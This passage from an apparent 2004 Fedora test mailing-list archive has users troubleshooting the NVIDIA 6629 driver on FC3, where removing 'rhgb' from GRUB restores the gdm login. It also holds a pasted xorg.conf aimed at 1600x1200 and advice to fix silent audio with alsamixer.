whence we came. - John F. Kennedy -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: From mrguytx at austin.rr.com Sun Nov 7 04:00:24 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 22:00:24 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099767788.3714.7.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> Message-ID: <1099800025.3869.2.camel@guyleidadell> On Sat, 2004-11-06 at 13:03 -0600, W. Guy Thomas wrote: > On Sat, 2004-11-06 at 10:23 -0700, Steve Fink wrote: > > Greg, > > > > I've seen this same issue on a Dell Latitude C840 with the new Nvidia > > 6629 with a 2.6.9 vanilla kernel and FC2. I don't think it's specific > > to FC3T*. > > > > Best, > > > > Steve > > > > > > > > On Fri, 2004-11-05 at 22:59 -0600, Gregory Gulik wrote: > > > Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 > > > notebook, yet DPMS still doesn't work. It used to work in FC2. > > > > > > The 6629 driver does NOT work on my Compaq R3000z. The previous > > > version did work ok but 6629 has a majorly messed up screen upon starting X. > > > > > > Anyone else having troubles with the NVIDIA driver on an R3000Z?? > > > > > > > > > Jim Martin wrote: > > > > I just installed the new 6629 nvidia driver in FC3 and it worked fine, > > > > check www.nvidia.com for th update > > > > > > -- > > > Greg Gulik http://www.gulik.org/greg/ > > > greg @ gulik.org > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > well I'm glad you posted this, I have a C840 and was just getting ready > to try the nvidia instead of nv, think I'll hold off... thanks. > > -- > =Guy > 13:02:33 up 3:50, 2 users, load average: 1.30, 1.24, 1.12 > well, I went ahead and did it anyway, the driver works fine, but I have to boot to runlevel 3 then startx manually. I would prefer to have my gdm back with my nice gnome login, but if I change my runlevel back to 5 then I get no joy, lot's of strange errors. so I can't put runlevel 5 back in inittab...any ideas what I could do to get my gdm back with the new drivers? (they are nice btw, all my gl stuff is very fast now.) thanks in advance. -- =Guy 21:58:14 up 38 min, 2 users, load average: 1.14, 1.07, 0.91 From bavinic at comcast.net Sun Nov 7 04:07:53 2004 From: bavinic at comcast.net (Jim Martin) Date: Sat, 06 Nov 2004 23:07:53 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099800025.3869.2.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> Message-ID: <418D9F99.2040903@comcast.net> W. Guy Thomas wrote: >On Sat, 2004-11-06 at 13:03 -0600, W. Guy Thomas wrote: > > >>On Sat, 2004-11-06 at 10:23 -0700, Steve Fink wrote: >> >> >>>Greg, >>> >>>I've seen this same issue on a Dell Latitude C840 with the new Nvidia >>>6629 with a 2.6.9 vanilla kernel and FC2. I don't think it's specific >>>to FC3T*. >>> >>>Best, >>> >>>Steve >>> >>> >>> >>>On Fri, 2004-11-05 at 22:59 -0600, Gregory Gulik wrote: >>> >>> >>>>Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 >>>>notebook, yet DPMS still doesn't work. It used to work in FC2. >>>> >>>>The 6629 driver does NOT work on my Compaq R3000z. The previous >>>>version did work ok but 6629 has a majorly messed up screen upon starting X. >>>> >>>>Anyone else having troubles with the NVIDIA driver on an R3000Z?? >>>> >>>> >>>>Jim Martin wrote: >>>> >>>> >>>>>I just installed the new 6629 nvidia driver in FC3 and it worked fine, >>>>>check www.nvidia.com for th update >>>>> >>>>> >>>>-- >>>>Greg Gulik http://www.gulik.org/greg/ >>>>greg @ gulik.org >>>> >>>> >>>-- >>>fedora-test-list mailing list >>>fedora-test-list at redhat.com >>>To unsubscribe: >>>http://www.redhat.com/mailman/listinfo/fedora-test-list >>> >>> >>well I'm glad you posted this, I have a C840 and was just getting ready >>to try the nvidia instead of nv, think I'll hold off... thanks. >> >>-- >>=Guy >>13:02:33 up 3:50, 2 users, load average: 1.30, 1.24, 1.12 >> >> >> > >well, I went ahead and did it anyway, the driver works fine, but I have >to boot to runlevel 3 then startx manually. > >I would prefer to have my gdm back with my nice gnome login, but if I >change my runlevel back to 5 then I get no joy, lot's of strange errors. > >so I can't put runlevel 5 back in inittab...any ideas what I could do to >get my gdm back with the new drivers? (they are nice btw, all my gl >stuff is very fast now.) > >thanks in advance. > > > just a thought, but did you take rhgb off your grub menu? I did that, and I can use my gdm with no problem. Jim From mrguytx at austin.rr.com Sun Nov 7 04:16:13 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 22:16:13 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418D9F99.2040903@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> Message-ID: <1099800973.3869.4.camel@guyleidadell> On Sat, 2004-11-06 at 23:07 -0500, Jim Martin wrote: > W. Guy Thomas wrote: > > >On Sat, 2004-11-06 at 13:03 -0600, W. Guy Thomas wrote: > > > > > >>On Sat, 2004-11-06 at 10:23 -0700, Steve Fink wrote: > >> > >> > >>>Greg, > >>> > >>>I've seen this same issue on a Dell Latitude C840 with the new Nvidia > >>>6629 with a 2.6.9 vanilla kernel and FC2. I don't think it's specific > >>>to FC3T*. > >>> > >>>Best, > >>> > >>>Steve > >>> > >>> > >>> > >>>On Fri, 2004-11-05 at 22:59 -0600, Gregory Gulik wrote: > >>> > >>> > >>>>Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 > >>>>notebook, yet DPMS still doesn't work. It used to work in FC2. > >>>> > >>>>The 6629 driver does NOT work on my Compaq R3000z. The previous > >>>>version did work ok but 6629 has a majorly messed up screen upon starting X. > >>>> > >>>>Anyone else having troubles with the NVIDIA driver on an R3000Z?? > >>>> > >>>> > >>>>Jim Martin wrote: > >>>> > >>>> > >>>>>I just installed the new 6629 nvidia driver in FC3 and it worked fine, > >>>>>check www.nvidia.com for th update > >>>>> > >>>>> > >>>>-- > >>>>Greg Gulik http://www.gulik.org/greg/ > >>>>greg @ gulik.org > >>>> > >>>> > >>>-- > >>>fedora-test-list mailing list > >>>fedora-test-list at redhat.com > >>>To unsubscribe: > >>>http://www.redhat.com/mailman/listinfo/fedora-test-list > >>> > >>> > >>well I'm glad you posted this, I have a C840 and was just getting ready > >>to try the nvidia instead of nv, think I'll hold off... thanks. > >> > >>-- > >>=Guy > >>13:02:33 up 3:50, 2 users, load average: 1.30, 1.24, 1.12 > >> > >> > >> > > > >well, I went ahead and did it anyway, the driver works fine, but I have > >to boot to runlevel 3 then startx manually. > > > >I would prefer to have my gdm back with my nice gnome login, but if I > >change my runlevel back to 5 then I get no joy, lot's of strange errors. > > > >so I can't put runlevel 5 back in inittab...any ideas what I could do to > >get my gdm back with the new drivers? (they are nice btw, all my gl > >stuff is very fast now.) > > > >thanks in advance. > > > > > > > just a thought, but did you take rhgb off your grub menu? I did that, > and I can use my gdm with no problem. > > Jim > no I didn't! and yes it's there. if I remove that from grub then can I also change inittab back to runlevel 5? -- =Guy 22:15:38 up 55 min, 2 users, load average: 0.93, 1.25, 1.25 From mrguytx at austin.rr.com Sun Nov 7 04:20:17 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 22:20:17 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418D9F99.2040903@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> Message-ID: <1099801217.3869.7.camel@guyleidadell> on that line in grub, do I remove everything after the kernel version? kernel /boot/vmlinuz-2.6.9-1.667 ro root=LABEL=/ rhgb quiet as in after the .667? On Sat, 2004-11-06 at 23:07 -0500, Jim Martin wrote: > W. Guy Thomas wrote: > > >On Sat, 2004-11-06 at 13:03 -0600, W. Guy Thomas wrote: > > > > > >>On Sat, 2004-11-06 at 10:23 -0700, Steve Fink wrote: > >> > >> > >>>Greg, > >>> > >>>I've seen this same issue on a Dell Latitude C840 with the new Nvidia > >>>6629 with a 2.6.9 vanilla kernel and FC2. I don't think it's specific > >>>to FC3T*. > >>> > >>>Best, > >>> > >>>Steve > >>> > >>> > >>> > >>>On Fri, 2004-11-05 at 22:59 -0600, Gregory Gulik wrote: > >>> > >>> > >>>>Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 > >>>>notebook, yet DPMS still doesn't work. It used to work in FC2. > >>>> > >>>>The 6629 driver does NOT work on my Compaq R3000z. The previous > >>>>version did work ok but 6629 has a majorly messed up screen upon starting X. > >>>> > >>>>Anyone else having troubles with the NVIDIA driver on an R3000Z?? > >>>> > >>>> > >>>>Jim Martin wrote: > >>>> > >>>> > >>>>>I just installed the new 6629 nvidia driver in FC3 and it worked fine, > >>>>>check www.nvidia.com for th update > >>>>> > >>>>> > >>>>-- > >>>>Greg Gulik http://www.gulik.org/greg/ > >>>>greg @ gulik.org > >>>> > >>>> > >>>-- > >>>fedora-test-list mailing list > >>>fedora-test-list at redhat.com > >>>To unsubscribe: > >>>http://www.redhat.com/mailman/listinfo/fedora-test-list > >>> > >>> > >>well I'm glad you posted this, I have a C840 and was just getting ready > >>to try the nvidia instead of nv, think I'll hold off... thanks. > >> > >>-- > >>=Guy > >>13:02:33 up 3:50, 2 users, load average: 1.30, 1.24, 1.12 > >> > >> > >> > > > >well, I went ahead and did it anyway, the driver works fine, but I have > >to boot to runlevel 3 then startx manually. > > > >I would prefer to have my gdm back with my nice gnome login, but if I > >change my runlevel back to 5 then I get no joy, lot's of strange errors. > > > >so I can't put runlevel 5 back in inittab...any ideas what I could do to > >get my gdm back with the new drivers? (they are nice btw, all my gl > >stuff is very fast now.) > > > >thanks in advance. > > > > > > > just a thought, but did you take rhgb off your grub menu? I did that, > and I can use my gdm with no problem. > > Jim > -- =Guy 22:19:15 up 59 min, 2 users, load average: 0.83, 1.00, 1.15 From paul at thespps.org Sun Nov 7 04:21:10 2004 From: paul at thespps.org (Paul) Date: Sat, 06 Nov 2004 21:21:10 -0700 Subject: interesting dilemma with sound. Message-ID: <1099801270.5042.33.camel@localhost.localdomain> So until recently, I really haven't used Linux for my personal desktop/laptop machine. I've used Linux for servers, etc, but just recently got the desire to make a full-fledged switch, trying to get away from windows one "purpose" at a time. So I decided I wanted to listen to some music on my Linux laptop, I figured this would be no big deal with my sound card as during the install it seemed like it found the hardware and played the test sound just fine. I installed flac support, mp3 support, and Realplayer as well. BUT when I go to play a wav or flac or mp3 file it ~looks~ like it is playing - meaning the levels on the EQ display are moving, the player is advancing through the song, but zero sound. I tried Realplayer, Helix, and XMMS - all with the same results. Does anyone have any advice? Running FC3T3. -Paul From mrguytx at austin.rr.com Sun Nov 7 04:27:00 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 22:27:00 -0600 Subject: interesting dilemma with sound. In-Reply-To: <1099801270.5042.33.camel@localhost.localdomain> References: <1099801270.5042.33.camel@localhost.localdomain> Message-ID: <1099801621.3869.8.camel@guyleidadell> run 'alsamixer' in a term and crank the levels a bit, then try to listen to something. =G On Sat, 2004-11-06 at 21:21 -0700, Paul wrote: > So until recently, I really haven't used Linux for my personal > desktop/laptop machine. I've used Linux for servers, etc, but just > recently got the desire to make a full-fledged switch, trying to get > away from windows one "purpose" at a time. > > So I decided I wanted to listen to some music on my Linux laptop, I > figured this would be no big deal with my sound card as during the > install it seemed like it found the hardware and played the test sound > just fine. > > I installed flac support, mp3 support, and Realplayer as well. BUT when > I go to play a wav or flac or mp3 file it ~looks~ like it is playing - > meaning the levels on the EQ display are moving, the player is advancing > through the song, but zero sound. I tried Realplayer, Helix, and XMMS - > all with the same results. > > Does anyone have any advice? Running FC3T3. > > -Paul > > -- =Guy 22:26:31 up 1:06, 2 users, load average: 0.75, 0.67, 0.91 From bavinic at comcast.net Sun Nov 7 04:30:21 2004 From: bavinic at comcast.net (Jim Martin) Date: Sat, 06 Nov 2004 23:30:21 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099801217.3869.7.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> Message-ID: <418DA4DD.2010200@comcast.net> W. Guy Thomas wrote: >on that line in grub, do I remove everything after the kernel version? > >kernel /boot/vmlinuz-2.6.9-1.667 ro root=LABEL=/ rhgb quiet > >as in after the .667? > > >On Sat, 2004-11-06 at 23:07 -0500, Jim Martin wrote: > > >>W. Guy Thomas wrote: >> >> >> >>>On Sat, 2004-11-06 at 13:03 -0600, W. Guy Thomas wrote: >>> >>> >>> >>> >>>>On Sat, 2004-11-06 at 10:23 -0700, Steve Fink wrote: >>>> >>>> >>>> >>>> >>>>>Greg, >>>>> >>>>>I've seen this same issue on a Dell Latitude C840 with the new Nvidia >>>>>6629 with a 2.6.9 vanilla kernel and FC2. I don't think it's specific >>>>>to FC3T*. >>>>> >>>>>Best, >>>>> >>>>>Steve >>>>> >>>>> >>>>> >>>>>On Fri, 2004-11-05 at 22:59 -0600, Gregory Gulik wrote: >>>>> >>>>> >>>>> >>>>> >>>>>>Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 >>>>>>notebook, yet DPMS still doesn't work. It used to work in FC2. >>>>>> >>>>>>The 6629 driver does NOT work on my Compaq R3000z. The previous >>>>>>version did work ok but 6629 has a majorly messed up screen upon starting X. >>>>>> >>>>>>Anyone else having troubles with the NVIDIA driver on an R3000Z?? >>>>>> >>>>>> >>>>>>Jim Martin wrote: >>>>>> >>>>>> >>>>>> >>>>>> >>>>>>>I just installed the new 6629 nvidia driver in FC3 and it worked fine, >>>>>>>check www.nvidia.com for th update >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>-- >>>>>>Greg Gulik http://www.gulik.org/greg/ >>>>>>greg @ gulik.org >>>>>> >>>>>> >>>>>> >>>>>> >>>>>-- >>>>>fedora-test-list mailing list >>>>>fedora-test-list at redhat.com >>>>>To unsubscribe: >>>>>http://www.redhat.com/mailman/listinfo/fedora-test-list >>>>> >>>>> >>>>> >>>>> >>>>well I'm glad you posted this, I have a C840 and was just getting ready >>>>to try the nvidia instead of nv, think I'll hold off... thanks. >>>> >>>>-- >>>>=Guy >>>>13:02:33 up 3:50, 2 users, load average: 1.30, 1.24, 1.12 >>>> >>>> >>>> >>>> >>>> >>>well, I went ahead and did it anyway, the driver works fine, but I have >>>to boot to runlevel 3 then startx manually. >>> >>>I would prefer to have my gdm back with my nice gnome login, but if I >>>change my runlevel back to 5 then I get no joy, lot's of strange errors. >>> >>>so I can't put runlevel 5 back in inittab...any ideas what I could do to >>>get my gdm back with the new drivers? (they are nice btw, all my gl >>>stuff is very fast now.) >>> >>>thanks in advance. >>> >>> >>> >>> >>> >>just a thought, but did you take rhgb off your grub menu? I did that, >>and I can use my gdm with no problem. >> >>Jim >> >> >> > > > I took just the rhgb off, , I still have quiet and everything else there. boots in run level 5, no problem. From balay at fastmail.fm Sun Nov 7 04:29:44 2004 From: balay at fastmail.fm (Satish Balay) Date: Sat, 6 Nov 2004 22:29:44 -0600 (CST) Subject: interesting dilemma with sound. In-Reply-To: <1099801270.5042.33.camel@localhost.localdomain> References: <1099801270.5042.33.camel@localhost.localdomain> Message-ID: On Sat, 6 Nov 2004, Paul wrote: > So until recently, I really haven't used Linux for my personal > desktop/laptop machine. I've used Linux for servers, etc, but just > recently got the desire to make a full-fledged switch, trying to get > away from windows one "purpose" at a time. > > So I decided I wanted to listen to some music on my Linux laptop, I > figured this would be no big deal with my sound card as during the > install it seemed like it found the hardware and played the test sound > just fine. > > I installed flac support, mp3 support, and Realplayer as well. BUT when > I go to play a wav or flac or mp3 file it ~looks~ like it is playing - > meaning the levels on the EQ display are moving, the player is advancing > through the song, but zero sound. I tried Realplayer, Helix, and XMMS - > all with the same results. > > Does anyone have any advice? Running FC3T3. try running 'alsamixer' - and unmute/crank-up master-volume, pcm etc. (keep trying until you find the correct knobs) Satish From mrguytx at austin.rr.com Sun Nov 7 04:33:15 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 22:33:15 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418DA4DD.2010200@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> Message-ID: <1099801995.5973.0.camel@guyleidadell> On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > W. Guy Thomas wrote: > > >on that line in grub, do I remove everything after the kernel version? > > > >kernel /boot/vmlinuz-2.6.9-1.667 ro root=LABEL=/ rhgb quiet > > > >as in after the .667? > > > > > >On Sat, 2004-11-06 at 23:07 -0500, Jim Martin wrote: > > > > > >>W. Guy Thomas wrote: > >> > >> > >> > >>>On Sat, 2004-11-06 at 13:03 -0600, W. Guy Thomas wrote: > >>> > >>> > >>> > >>> > >>>>On Sat, 2004-11-06 at 10:23 -0700, Steve Fink wrote: > >>>> > >>>> > >>>> > >>>> > >>>>>Greg, > >>>>> > >>>>>I've seen this same issue on a Dell Latitude C840 with the new Nvidia > >>>>>6629 with a 2.6.9 vanilla kernel and FC2. I don't think it's specific > >>>>>to FC3T*. > >>>>> > >>>>>Best, > >>>>> > >>>>>Steve > >>>>> > >>>>> > >>>>> > >>>>>On Fri, 2004-11-05 at 22:59 -0600, Gregory Gulik wrote: > >>>>> > >>>>> > >>>>> > >>>>> > >>>>>>Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 > >>>>>>notebook, yet DPMS still doesn't work. It used to work in FC2. > >>>>>> > >>>>>>The 6629 driver does NOT work on my Compaq R3000z. The previous > >>>>>>version did work ok but 6629 has a majorly messed up screen upon starting X. > >>>>>> > >>>>>>Anyone else having troubles with the NVIDIA driver on an R3000Z?? > >>>>>> > >>>>>> > >>>>>>Jim Martin wrote: > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>>>I just installed the new 6629 nvidia driver in FC3 and it worked fine, > >>>>>>>check www.nvidia.com for th update > >>>>>>> > >>>>>>> > >>>>>>> > >>>>>>> > >>>>>>-- > >>>>>>Greg Gulik http://www.gulik.org/greg/ > >>>>>>greg @ gulik.org > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>-- > >>>>>fedora-test-list mailing list > >>>>>fedora-test-list at redhat.com > >>>>>To unsubscribe: > >>>>>http://www.redhat.com/mailman/listinfo/fedora-test-list > >>>>> > >>>>> > >>>>> > >>>>> > >>>>well I'm glad you posted this, I have a C840 and was just getting ready > >>>>to try the nvidia instead of nv, think I'll hold off... thanks. > >>>> > >>>>-- > >>>>=Guy > >>>>13:02:33 up 3:50, 2 users, load average: 1.30, 1.24, 1.12 > >>>> > >>>> > >>>> > >>>> > >>>> > >>>well, I went ahead and did it anyway, the driver works fine, but I have > >>>to boot to runlevel 3 then startx manually. > >>> > >>>I would prefer to have my gdm back with my nice gnome login, but if I > >>>change my runlevel back to 5 then I get no joy, lot's of strange errors. > >>> > >>>so I can't put runlevel 5 back in inittab...any ideas what I could do to > >>>get my gdm back with the new drivers? (they are nice btw, all my gl > >>>stuff is very fast now.) > >>> > >>>thanks in advance. > >>> > >>> > >>> > >>> > >>> > >>just a thought, but did you take rhgb off your grub menu? I did that, > >>and I can use my gdm with no problem. > >> > >>Jim > >> > >> > >> > > > > > > > I took just the rhgb off, , I still have quiet and everything else > there. boots in run level 5, no problem. > ok, here goes... -- =Guy 22:33:06 up 1:13, 1 user, load average: 1.97, 1.34, 1.08 From mrguytx at austin.rr.com Sun Nov 7 04:46:01 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 22:46:01 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418DA4DD.2010200@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> Message-ID: <1099802762.3715.1.camel@guyleidadell> On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > >>just a thought, but did you take rhgb off your grub menu? I did that, > >>and I can use my gdm with no problem. > >> > >>Jim > >> > >> > >> > > > > > > > I took just the rhgb off, , I still have quiet and everything else > there. boots in run level 5, no problem. > you da man, thanks. interesting though, that I get my gdm back, but the fedora graphics never came back after loading nvidia's real drivers. thanks my friend, though, I'm good with this. -- =Guy 22:44:43 up 8 min, 2 users, load average: 2.98, 2.05, 0.98 From bavinic at comcast.net Sun Nov 7 04:50:22 2004 From: bavinic at comcast.net (Jim Martin) Date: Sat, 06 Nov 2004 23:50:22 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099802762.3715.1.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> Message-ID: <418DA98E.3090307@comcast.net> W. Guy Thomas wrote: >On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > > > > >>>>just a thought, but did you take rhgb off your grub menu? I did that, >>>>and I can use my gdm with no problem. >>>> >>>>Jim >>>> >>>> >>>> >>>> >>>> >>> >>> >>> >>> >>I took just the rhgb off, , I still have quiet and everything else >>there. boots in run level 5, no problem. >> >> >> > >you da man, thanks. >interesting though, that I get my gdm back, but the fedora graphics >never came back after loading nvidia's real drivers. > >thanks my friend, though, I'm good with this. > > > You are welcome, and the Fedora graphics is what you just took off ( rhgb=Red hat graphical Boot) for some reasons does not like the nvidia driver. go figure :-) Glad to help. BaVinic From mrguytx at austin.rr.com Sun Nov 7 04:57:08 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 22:57:08 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418DA98E.3090307@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> Message-ID: <1099803429.3715.3.camel@guyleidadell> On Sat, 2004-11-06 at 23:50 -0500, Jim Martin wrote: > W. Guy Thomas wrote: > > >On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > > > > > > > > > >>>>just a thought, but did you take rhgb off your grub menu? I did that, > >>>>and I can use my gdm with no problem. > >>>> > >>>>Jim > >>>> > >>>> > >>>> > >>>> > >>>> > >>> > >>> > >>> > >>> > >>I took just the rhgb off, , I still have quiet and everything else > >>there. boots in run level 5, no problem. > >> > >> > >> > > > >you da man, thanks. > >interesting though, that I get my gdm back, but the fedora graphics > >never came back after loading nvidia's real drivers. > > > >thanks my friend, though, I'm good with this. > > > > > > > You are welcome, and the Fedora graphics is what you just took off ( > rhgb=Red hat graphical Boot) for some reasons does not like the nvidia > driver. go figure :-) > > Glad to help. > > BaVinic > isn't that just strange? oh well, I'm happy. I've been fearing loading the nvidia drivers but I'm glad I did. the GL stuff is awesome now, even on this "older" dell c840. thanks again! -- =Guy 22:56:14 up 20 min, 2 users, load average: 0.43, 0.57, 0.66 From mrguytx at austin.rr.com Sun Nov 7 05:01:11 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 23:01:11 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099803429.3715.3.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> Message-ID: <1099803671.3715.7.camel@guyleidadell> now if I could only get to 1600x1200! xorg.conf follows: # Xorg configuration created by system-config-display Section "ServerLayout" Identifier "single head configuration" Screen 0 "Screen0" 0 0 InputDevice "Mouse0" "CorePointer" InputDevice "Keyboard0" "CoreKeyboard" EndSection Section "Files" # RgbPath is the location of the RGB database. Note, this is the name of the # file minus the extension (like ".txt" or ".db"). There is normally # no need to change the default. # Multiple FontPath entries are allowed (they are concatenated together) # By default, Red Hat 6.0 and later now use a font server independent of # the X server to render fonts. RgbPath "/usr/X11R6/lib/X11/rgb" FontPath "unix/:7100" EndSection Section "Module" Load "dbe" Load "extmod" # Load "fbdevhw" Load "glx" Load "record" Load "freetype" Load "type1" Load "dri" EndSection Section "InputDevice" # Specify which keyboard LEDs can be user-controlled (eg, with xset(1)) # Option "Xleds" "1 2 3" # To disable the XKEYBOARD extension, uncomment XkbDisable. # Option "XkbDisable" # To customise the XKB settings to suit your keyboard, modify the # lines below (which are the defaults). For example, for a non-U.S. # keyboard, you will probably want to use: # Option "XkbModel" "pc102" # If you have a US Microsoft Natural keyboard, you can use: # Option "XkbModel" "microsoft" # # Then to change the language, change the Layout setting. # For example, a german layout can be obtained with: # Option "XkbLayout" "de" # or: # Option "XkbLayout" "de" # Option "XkbVariant" "nodeadkeys" # # If you'd like to switch the positions of your capslock and # control keys, use: # Option "XkbOptions" "ctrl:swapcaps" # Or if you just want both to be control, use: # Option "XkbOptions" "ctrl:nocaps" # Identifier "Keyboard0" Driver "kbd" Option "XkbModel" "pc105" Option "XkbLayout" "us" EndSection Section "InputDevice" Identifier "Mouse0" Driver "mouse" Option "Protocol" "IMPS/2" Option "Device" "/dev/input/mice" Option "ZAxisMapping" "4 5" Option "Emulate3Buttons" "yes" EndSection Section "Monitor" Identifier "Monitor0" VendorName "Monitor Vendor" ModelName "LCD Panel 1600x1200" HorizSync 31.5 - 90.0 VertRefresh 60.0 - 60.0 Option "dpms" EndSection Section "Device" Identifier "Videocard0" Driver "nvidia" VendorName "Videocard vendor" BoardName "NVIDIA GeForce 4 (generic)" EndSection Section "Screen" Identifier "Screen0" Device "Videocard0" Monitor "Monitor0" DefaultDepth 24 SubSection "Display" Viewport 0 0 Depth 16 Modes "800x600" "640x480" EndSubSection SubSection "Display" Viewport 0 0 Depth 24 Modes "1600x1200" "1400x1050" "1280x1024" "1280x960" "1024x768" "800x600" "640x480" EndSubSection EndSection Section "DRI" Group 0 Mode 0666 EndSection On Sat, 2004-11-06 at 22:57 -0600, W. Guy Thomas wrote: > On Sat, 2004-11-06 at 23:50 -0500, Jim Martin wrote: > > W. Guy Thomas wrote: > > > > >On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > > > > > > > > > > > > > > >>>>just a thought, but did you take rhgb off your grub menu? I did that, > > >>>>and I can use my gdm with no problem. > > >>>> > > >>>>Jim > > >>>> > > >>>> > > >>>> > > >>>> > > >>>> > > >>> > > >>> > > >>> > > >>> > > >>I took just the rhgb off, , I still have quiet and everything else > > >>there. boots in run level 5, no problem. > > >> > > >> > > >> > > > > > >you da man, thanks. > > >interesting though, that I get my gdm back, but the fedora graphics > > >never came back after loading nvidia's real drivers. > > > > > >thanks my friend, though, I'm good with this. > > > > > > > > > > > You are welcome, and the Fedora graphics is what you just took off ( > > rhgb=Red hat graphical Boot) for some reasons does not like the nvidia > > driver. go figure :-) > > > > Glad to help. > > > > BaVinic > > > isn't that just strange? oh well, I'm happy. > I've been fearing loading the nvidia drivers but I'm glad I did. > the GL stuff is awesome now, even on this "older" dell c840. > > thanks again! > -- =Guy 23:00:07 up 23 min, 2 users, load average: 0.71, 0.66, 0.68 From veguilla at hpcf.upr.edu Sun Nov 7 05:04:25 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 07 Nov 2004 01:04:25 -0400 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418DA98E.3090307@comcast.net> References: 